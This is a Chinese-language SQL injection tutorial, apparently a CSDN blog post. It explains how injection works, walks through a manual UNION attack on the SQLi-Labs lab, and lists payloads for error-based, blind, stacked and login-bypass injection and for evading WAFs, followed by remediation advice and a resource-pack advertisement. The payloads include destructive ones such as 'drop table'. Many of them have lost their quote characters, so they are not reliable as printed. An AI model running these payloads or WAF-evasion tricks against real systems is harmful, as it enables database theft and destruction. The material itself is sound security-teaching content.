SQL 注入从入门到绕过:原理、注入类型、手工注入、注入载荷、WAF 绕过汇总

发布时间:2026/10/14 17:22:06
SQL 注入从入门到绕过:原理、注入类型、手工注入、注入载荷、WAF 绕过汇总
SQL 注入原理、注入类型、手工注入、注入载荷与 WAF 绕过免责声明本文内容仅用于网络安全学习、授权环境安全测试严禁在未授权的网站、系统进行任何渗透、攻击操作未经授权测试属于违法行为。所有实验请在本地靶场DVWA、SQLi-Labs、WebGoat 等内完成本文作者不承担任何违规操作带来的法律责任。前言SQL 注入是 Web 安全领域最经典、出现时间最早、危害最高的高危漏洞之一属于 OWASP Top10 长期稳居前列的漏洞。从十几年前大量网站被拖库到现在护网行动中经常出现的 SQL 注入漏洞哪怕到 2026 年在很多老旧系统、外包项目、内部管理后台中依然频繁出现。很多刚入门 Web 安全的同学学习 Web 安全的第一个漏洞就是 SQL 注入。但绝大多数新手学习只停留在工具跑注入使用 Sqlmap 一键拿库并不理解底层原理一旦遇到过滤、WAF、特殊闭合场景工具失效之后就无从下手。面试的时候面试官一问手工注入思路、注入原理、WAF 绕过思路直接卡壳。本文从底层原理出发完整讲解 SQL 注入的形成原因、漏洞前提、注入分类、详细手工注入全流程、常用注入载荷以及各类 WAF 绕过思路。所有实操步骤全部使用手工方式演示不依赖 sqlmap帮助读者理解注入本质而不是只会使用自动化工具。阅读前置基础需要了解基础 HTTP 请求、GET/POST 参数、MySQL 基础 SQL 语法。实验环境推荐 SQLi-Labs、DVWA本地搭建 MySQLPHP 环境练习。一、SQL 注入基础原理1.1 什么是 SQL 注入SQL 注入SQL Injection简称 SQLi本质是Web 程序没有对用户可控输入做严格过滤、转义直接将用户输入拼接到 SQL 语句中执行攻击者通过构造特殊输入修改原始 SQL 语句语义执行非预期数据库查询操作。Web 应用工作简单流程用户在页面输入参数URL 参数、表单 POST 数据、Cookie 参数等Web 后端PHP/JAVA/Python 等接收用户输入后端代码直接拼接用户输入到 SQL 语句将拼接完成 SQL 语句发送到数据库执行数据库返回查询结果后端渲染到网页展示。正常场景示例网站查询用户信息功能URLshturl.cc/fF1qVgS10m后端 PHP 代码示例存在漏洞代码$id $_GET[id]; $sql SELECT * FROM users WHERE id $id; $result mysql_query($sql);用户传入id1拼接后 SQL 语句SELECT * FROM users WHERE id 1数据库执行这条语句查询 id 等于 1 的用户数据正常展示页面内容。注入场景攻击者传入id1 or 11拼接后 SQL 语句变成SELECT * FROM users WHERE id 1 or 11数据库执行11恒成立返回 users 表全部用户数据也就是拖库的基础。核心一句话总结漏洞根源用户输入被当作 SQL 代码执行而不是单纯当成字符串。1.2 SQL 注入产生三大必要条件缺一不可很多初学者误以为只要传入特殊字符就一定存在注入这个认知是错误的必须同时满足下面三个条件漏洞才会存在用户可控输入点参数可以被攻击者控制GET、POST、Cookie、HTTP 头、JSON 参数等输入直接拼接进 SQL 语句没有预编译、没有严格转义过滤数据库执行拼接后的 SQL 语句执行结果能反馈到前端报错回显、内容差异、时间延迟等。如果使用参数化查询预编译用户输入会被数据库当作字符串处理无论输入什么特殊符号都不会修改 SQL 语义从根源杜绝注入这是最根本修复方案。1.3 注入危害SQL 注入一旦被利用危害程度属于高危查询数据库全部数据拖库获取账号密码、手机号、身份证等敏感数据修改数据库数据修改管理员密码、篡改网站页面内容删除数据删除表、删除库破坏业务数据读写服务器文件MySQL 支持 load_file/outfile获取服务器权限上传后门拿下服务器绕过登录登录页面注入直接绕过账号密码验证进入后台管理系统。注意不同数据库支持的语法不一样MySQL、SQLServer、Oracle 注入载荷存在差异本文主要以 MySQL 数据库作为示例文末会简单介绍不同数据库注入语法区别。二、SQL 注入分类注入分类有多种划分维度按数据提交方式划分按照回显方式划分按照注入位置划分。下面逐个讲解。2.1 根据提交方式划分GET 注入注入点在 URL 的 GET 参数中最常见参数直接放在 URL。例如?id1。特点参数直接可见测试简单容易被 WAF 捕获。POST 注入注入点在 POST 表单数据登录框、搜索框等表单数据放在请求体不在 URL。POST 注入 URL 看不到 payload部分简单 WAF 不会检测 POST 内容。Cookie 注入注入点在 Cookie 字段后端读取 Cookie 的值拼接 SQL很多时候容易被忽略。抓包修改 Cookie 值测试。HTTP 头注入注入点在 User-Agent、Referer、X-Forwarded-For 等请求头后端把请求头内容存入数据库存在注入。JSON 注入前端提交 JSON 格式数据application/json后端解析 JSON 取值拼接 SQL现在前后端分离项目常见。2.2 根据回显类型划分手工注入最常用分类方式这是手工注入、面试最常考的分类重点掌握2.2.1 联合查询注入Union Select 注入条件页面可以直接展示 SQL 查询返回数据有正常数据回显。原理利用 union 关键字把两条 select 查询结果合并把想要查询的数据库信息直接展示在页面。适合有回显场景手工注入优先尝试联合注入。2.2.2 报错注入条件页面会输出数据库执行错误信息。原理利用数据库函数触发数据库报错同时把查询到的数据放到报错信息里面页面打印报错内容读取数据。MySQL 常用报错函数updatexml ()、extractvalue ()。适用场景页面没有正常回显但是会输出 SQL 报错信息。2.2.3 布尔盲注条件页面没有数据回显但是页面内容会根据 SQL 执行真假产生差异。例如查询成立页面正常显示查询失败页面显示空白 / 报错。没有数据库报错信息。原理构造判断语句通过页面返回真假页面变化逐个猜字符一位一位爆破数据库内容。2.2.4 时间盲注条件页面无论 SQL 执行成功失败页面返回内容完全没有任何差别没有回显、没有页面差异。原理利用 sleep () 函数当条件成立数据库执行 sleep 延时通过页面响应时间判断条件真假逐位猜数据。这是盲注里面最难的一类页面看不出任何变化只能看响应延迟。2.2.5 堆叠注入原理数据库支持多条 SQL 语句同时执行分号;分割多条 SQL。例如1;drop table users;一条语句执行查询第二条执行删除。限制PHP 默认 mysql 扩展不支持堆叠mysqli 部分配置下支持SQL Server 默认支持堆叠注入。2.3 按照闭合方式分类新手最容易踩坑SQL 语句中字符串需要引号闭合注入的时候必须先把原有引号闭合才能注入自己的 SQL 语句数字型注入参数不需要引号闭合where id1直接写 or 语句不需要单引号。字符型注入参数被单引号包裹where namexxx注入 payload 需要单引号闭合前面字符串。payload or 11 --双引号注入使用双引号闭合where namexxxpayload or 11 --括号闭合注入where id(1)需要使用括号闭合。面试高频考点数字型和字符型注入区别。数字型不需要引号字符型必须闭合引号。三、手工 SQL 注入完整实操MySQLSQLi-Labs Less1 演示实验环境SQLi-Labs Less-1GET 字符型单引号闭合联合查询注入。地址/?id1原始后端拼接 SQLSELECT * FROM users WHERE id$id LIMIT 0,1;步骤 1判断是否存在注入判断闭合符号输入 payload?id1页面报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near LIMIT 0,1 at line 1出现 SQL 语法报错说明输入的单引号进入 SQL 语句触发语法错误存在注入。报错内容 LIMIT 0,1可以看出原来 SQL 使用单引号闭合。测试注释符号MySQL 注释有三种--减号减号空格URL 中空格可以写成--#井号注释URL 编码%23/* 注释内容 */多行注释payload?id1 and 12 --1闭合前面单引号and 12 条件假后面--注释掉后面原 SQL 剩余内容页面无数据。payload?id1 and 11 --页面正常返回数据。页面根据真假变化确认注入存在闭合方式为单引号。步骤 2判断查询字段数量 order byorder by 用来排序order by n代表按第 n 列排序。如果列数小于 n数据库报错以此判断查询有多少字段。payload?id1 order by 3 --页面正常payload?id1 order by 4 --页面报错结论查询结果一共 3 列。联合查询 union 前后两个 select列数必须保持一致。步骤 3确定回显位置使用 union select前面查询设置条件为假只展示 union 后面查询结果。payload?id-1 union select 1,2,3 ---1 使得前面 select 查询为空页面展示 union 后的 1,2,3。页面显示 2、3 位置有输出。说明第 2 列、第 3 列是页面回显位。后续查询数据库信息放到 23 位置。步骤 4查询数据库名MySQL 内置函数 database ()返回当前数据库名称。payload?id-1 union select 1,database(),3 --页面回显数据库名例如 security。步骤 5查询数据库中的表名information_schema 是 MySQL 自带元数据库记录所有库、表、字段信息。查询 security 库下面所有表select table_name from information_schema.tables where table_schemasecurity构造 payload?id-1 union select 1,table_name,3 from information_schema.tables where table_schemasecurity --如果只返回第一条可以增加 limit 分页limit 0,1limit 1,1 依次读取每一张表。拿到表名 users。步骤 6查询 users 表字段名查询 security 库 users 表里面所有列名select column_name from information_schema.columns where table_schemasecurity and table_nameuserspayload?id-1 union select 1,column_name,3 from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1 --拿到字段 idusernamepassword。步骤 7读取账号密码数据payload?id-1 union select 1,username,password from users limit 0,1 --循环修改 limit读取全部账号密码。至此联合查询手工注入完整流程完成。3.1 报错注入实操演示updatexml当页面无法回显数据但是打印 SQL 报错可以使用 updatexml 报错注入。updatexml 语法updatexml(1,concat(0x7e,(select database()),0x7e),1)原理第二个参数是 xpath 表达式~不是合法 xpath 字符触发报错同时把查询内容放到报错信息输出。payload?id1 and updatexml(1,concat(0x7e,database(),0x7e),1) --页面报错内容里面出现数据库名称。3.2 布尔盲注手工思路页面没有回显只有页面内容真假区分。payload 示例?id1 and ascii(substr(database(),1,1))100 --substr 截取数据库名第 1 个字符ascii 转为数字对比大小。页面正常说明条件成立字符 ascii 大于 100页面空白条件不成立。二分法不断调整数字猜出第一个字符之后依次猜第 2、3 字符。3.3 时间盲注手工思路页面真假没有任何差异依靠 sleep 延时判断。payload?id1 and if(ascii(substr(database(),1,1))100,sleep(5),1) --if (条件成立执行 sleep (5)不成立执行 1)。如果第一个字符 ascii100数据库 sleep 5 秒页面响应慢 5 秒否则页面立刻返回。根据响应延迟逐位猜字符。注意时间盲注手工测试很慢一般写 Python 脚本自动化猜解但是面试必须掌握原理。四、SQL 注入常用载荷Payload详解4.1 判断注入存在基础 payload数字型?id1 and 11 ?id1 and 12 ?id1 or 11字符型单引号?id1 and 11 -- ?id1 and 12 -- ?id1 or 11 --双引号闭合?id1 and 11 --4.2 注释 payload-- # MySQL注释URL空格 # # URL编码 %23 /* */ # 多行注释4.3 联合查询基础 payload?id-1 union select 1,2,3 -- ?id-1 union select 1,database(),version() --version () 获取 MySQL 版本user () 获取数据库当前用户database () 当前库名。4.4 updatexml 报错注入 payload?id1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- ?id1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),0x7e),1)--extractvalue 报错 payload?id1 and extractvalue(1,concat(0x7e,database()))--限制updatexml 返回字符有长度限制最多返回 32 字符长数据需要截取。4.5 布尔盲注 payload# 截取第n位字符转为ascii对比 ?id1 and ascii(substr(database(),1,1))114 --4.6 时间盲注 payload?id1 and if(ascii(substr(database(),1,1))114,sleep(5),1)-- ?id1 and if((select count(*) from users)1,sleep(3),1)--4.7 堆叠注入 payload?id1;show databases; ?id1;drop table test;--4.8 绕过登录框注入 payload万能密码登录框 POST 注入账号输入框 payloadadmin or 11 -- or 11#原始 SQLselect * from user where username$name and password$pass输入admin or 11 --拼接 SQL 变成select * from user where usernameadmin or 11 -- and password$pass--注释掉后面密码判断语句直接查询所有用户绕过登录。注意万能密码不是万能要看闭合方式数字型登录框不需要单引号。五、WAF 绕过原理、过滤场景与绕过载荷WAFWeb 应用防火墙会检测 HTTP 请求内容匹配特征库当请求里面包含union、select、and、or、sleep、updatexml等 SQL 注入关键字直接拦截请求返回 403。WAF 的检测分为几种关键字黑名单、正则匹配、语法语义检测、请求频率检测。简单 WAF 只做简单字符串匹配容易绕过高级 WAF 会做 SQL 语法解析难度大幅提升。核心绕过思路不改变 SQL 语句执行语义修改字符串形式让 WAF 特征库匹配失败数据库依然可以正常解析执行 SQL。5.1 大小写变形绕过MySQL 关键字大小写不敏感SELECT、select、SeLeCt 数据库都识别WAF 只匹配小写 select。原始 payloadunion select 1,2变形 payloadUnion Select 1,2 uNiOn SeLeCt 1,2适用场景WAF 简单黑名单匹配小写关键字。5.2 注释分割绕过内联注释 /xxx/MySQL 支持/*!内容*/内联注释里面内容会被 MySQL 当作 SQL 执行WAF 可能不会解析注释内部内容。un/*ion*/ sel/*ect*/ 1,2例子?id-1 un/*ion*/ sel/*ect*/ 1,database(),3 --注意/*!50001 select */版本注释MySQL 版本大于 50001 执行里面语句也是常用方式。5.3 空白符替换绕过WAF 拦截空格SQL 中空格可以替换为%09(tab)、%0a换行、%0d回车、%0b、%0c/**/注释代替空格。原始 payloadunion select 1,2替换空格union/**/select/**/1,2 union%09select%091,2完整示例?id-1 union/**/select/**/1,database(),3--5.4 等价函数、等价符号替换绕过and/or 过滤and 等价or 等价||payload 示例?id1 12 -- ?id1 || 11 --注意URL 里面是参数分隔符URL 提交需要编码成%26%26。sleep 被过滤sleep 替代方案benchmark 函数BENCHMARK(1000000,MD5(test))执行大量运算造成延时。时间盲注 payload?id1 and if(ascii(substr(database(),1,1))114,BENCHMARK(500000,MD5(1)),1)--substr 过滤substr 等价 mid、substringsubstr(database(),1,1) mid(database(),1,1) substring(database(),1,1)concat 过滤concat 可以用||字符串拼接部分模式生效5.5 字符串编码绕过URL 编码对关键字 URL 编码select-%73%65%6C%65%63%74多层 URL 编码双重编码。Hex 十六进制编码字符串字符串可以用 0x 开头十六进制代替引号字符串。例如字符串 security 十六进制是 0x7365637572697479原来 payloadtable_schemasecurity替换成table_schema0x7365637572697479payload 示例?id-1 union select 1,table_name,3 from information_schema.tables where table_schema0x7365637572697479 limit 0,1 --优势不再使用单引号绕过单引号过滤。5.6 字符拆分 拼接绕过使用 concat 拼接字符串拆分关键词。concat(se,lect)payload 示例?id1 and updatexml(1,concat(0x7e,concat(da,tabase()),0x7e),1)--5.7 HTTP 参数污染 HPP 绕过适用场景WAF 只解析第一个参数后端语言解析第二个参数。示例?id1id or 11 --WAF 读取 id1放行后端接收第二个 id 值带入 SQL 执行。不同语言 HPP 特性不一样PHP 会取最后一个参数。5.8 编码拆分JSON 注入特殊绕过如果注入点是 JSON POSTContent-Type:application/json。WAF 检测 JSON 内关键字可以使用 unicode 编码。例如or写成\u006f\u0072。后端解析 unicode 还原字符串带入 SQL。POST body 示例{id:1 \u006f\u0072 11 --}5.9 绕过高阶 WAF 注意事项上面的方法对简单 WAF 有效现代高级 WAF云 WAF会做 SQL 语法解析单纯变形绕过很难生效此时思路减少特征拆分请求使用 HTTP 头注入、Cookie 注入WAF 对头检测较弱分阶段注入先探测再注入避免高频请求触发频率拦截寻找其他注入点换参数测试。重要WAF 绕过技巧很多但是没有永久万能 payload绕过依赖 WAF 规则同一个 payloadA 站点可以绕过B 站点直接拦截。六、不同数据库注入语法差异MySQL / SQLServer / Oracle很多面试会问到不同数据库注入的区别这里整理核心差异MySQL注释--#版本函数 version ()当前库 database ()information_schema 元数据库延时 sleep ()、benchmark字符串 0x 十六进制limit 分页。SQL Server注释--堆叠注入;支持很好分页 top延时 waitfor delay ‘0:0:5’元数据 sys.tables。Oracle注释--没有 limit使用 rownum 分页延时 dbms_lock.sleepdual 虚表select 1 from dual元数据 all_tables。七、SQL 注入常见过滤场景与对应解决思路汇总过滤内容现象绕过思路过滤 and/orand、or 直接拦截使用 、拆分拼接注释分割过滤空格空格被替换删除/**/、%09、%0a 等空白字符替代过滤 union/select关键字拦截大小写变形、注释分割、字符串拼接、hex 编码过滤单引号’单引号被转义使用 hex 字符串宽字节注入GBK 编码场景过滤 sleepsleep 拦截benchmark、其他延时方式或者布尔盲注过滤 #、–注释拦截使用内联注释闭合语句过滤逗号逗号不能使用盲注 substr 替换使用 from for 语法updatexml 去掉逗号补充宽字节注入GBK 编码场景后端数据库连接使用 GBK 编码PHP 开启 addslashes 转义单引号被转义成\。传入%dfurl 解码后%df%5cGBK 识别%df%5c是一个汉字\的反斜杠被吃掉单引号逃逸。payload 示例?id1%df and 11 --适用条件PHPMySQL数据库字符集 GBK开启转义。这是国内老站点高频场景。八、漏洞修复方案面试高频考点很多面试问到SQL 注入怎么修复优先写预编译参数化查询其次输入过滤。参数化查询预编译【首选方案】将 SQL 语句模板固定用户输入作为参数传入数据库自动把输入作为字符串不会解析 SQL 语法从根源杜绝注入。Java PreparedStatement、PHP PDO 预编译。重点不是简单字符串替换是数据库层面预编译。输入白名单校验如果参数只能是数字直接校验输入必须是数字非数字直接拒绝。例如 id 参数只能接收整数。特殊字符转义addslashes、mysqli_real_escape_string但是有局限性GBK 场景存在宽字节注入风险不能作为唯一修复手段。最小权限原则数据库账号分配最小权限Web 连接数据库账号不要 root 权限禁止 file 读写权限。就算注入成功也无法读取服务器文件、拖库之外的高危操作。WAF 防护部署 WAF 作为辅助防护不能当作唯一修复方案WAF 存在绕过可能。关闭数据库错误信息回显不要直接把 SQL 报错返回前端防止报错注入。一句话面试标准答案优先使用预编译参数化查询配合输入校验、最小权限、关闭详细错误WAF 作为辅助。九、常见面试题 易错知识点Q1union 查询为什么前面写 id-1A原始查询返回一条数据union 会合并两个查询结果。id-1 让前面查询返回空页面只会展示 union 后面查询的数据方便直接看注入查询结果。Q2盲注和联合注入区别A联合注入页面直接回显查询结果盲注页面没有数据回显依靠页面差异或者响应延迟猜数据。布尔盲注看页面内容时间盲注看响应时间。Q3# 和 -- 注释区别A--后面必须有空格URL 中空号会被编码--中代表 URL 空格#在 URL 里面需要编码%23GET 请求直接写 #会被浏览器当成锚点不会传到后端。POST 中 #可以直接使用。Q4information_schema 是什么AMySQL 系统元数据库存储数据库所有库、表、字段信息注入中用来查询表名字段名。Q5什么是二次注入A用户输入恶意 payload后端转义存入数据库取出数据时没有再次过滤触发注入。简单理解payload 先入库在另一个功能点触发 SQL 执行。二次注入隐蔽性强不容易直接探测。十、实战踩坑总结不要上来直接 union第一步先判断注入和闭合方式很多新手直接写 union忽略引号payload 完全无效盲注手工测试效率极低实际工作一般写 Python 脚本但是原理必须掌握WAF 绕过没有万能 payload需要逐个测试特征很多站点存在过滤但是过滤不完整例如只过滤小写 select忽略大写区分注入位置GET 容易测试POST、Cookie、HTTP 头注入容易被忽略不要依赖 sqlmap工具是辅助工具跑不出注入不代表不存在注入很多场景需要手工构造 payload 绕过过滤编码问题URL 参数必须考虑 URL 编码特殊字符、#、空格不编码会造成参数解析异常。总结SQL 注入是 Web 安全的基石漏洞学习注入不要停留在工具一键跑。掌握底层原理、理解 SQL 语句拼接逻辑才能够处理过滤、WAF、盲注这类复杂场景。整个学习顺序理解原理 → 判断注入点和闭合 → 联合查询手工注入 → 报错注入 → 布尔盲注 → 时间盲注 → WAF 绕过。记住核心本质SQL 注入本质就是破坏原有 SQL 语句结构修改语义让攻击者可控输入被数据库当成 SQL 代码执行。所有 payload、WAF 绕过全部围绕这个核心。漏洞修复首选参数化预编译输入过滤、WAF 只是辅助手段。网络安全学习一定要在本地授权靶场练习严禁对线上网站进行测试。Web 安全后续学习可以继续学习 XSS、文件上传、SSRF 等 OWASP 漏洞。如何系统学习网络安全/黑客网络安全不是「速成黑客」而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时那种创造的快乐远胜于电影里的炫技。装上虚拟机从配置第一个Linux环境开始脚踏实地从基础命令学起相信你一定能成为一名合格的黑客。如果你还不知道从何开始我自己整理的282G的网络安全教程可以分享我也是一路自学走过来的很清楚小白前期学习的痛楚你要是没有方向还没有好的资源根本学不到东西下面是我整理的网安资源希望能帮到你。需要的话可以V扫描下方二维码联系领取~如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享1.从0到进阶主流攻防技术视频教程包含红蓝对抗、CTF、HW等技术点2.入门必看攻防技术书籍pdf书面上的技术书籍确实太多了这些是我精选出来的还有很多不在图里3.安装包/源码主要攻防会涉及到的工具安装包和项目源码防止你看到这连基础的工具都还没有4.面试试题/经验网络安全岗位面试经验总结谁学技术不是为了赚$呢找个好的岗位很重要需要的话可以V扫描下方二维码联系领取~因篇幅有限资料较为敏感仅展示部分资料添加上方即可获取如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享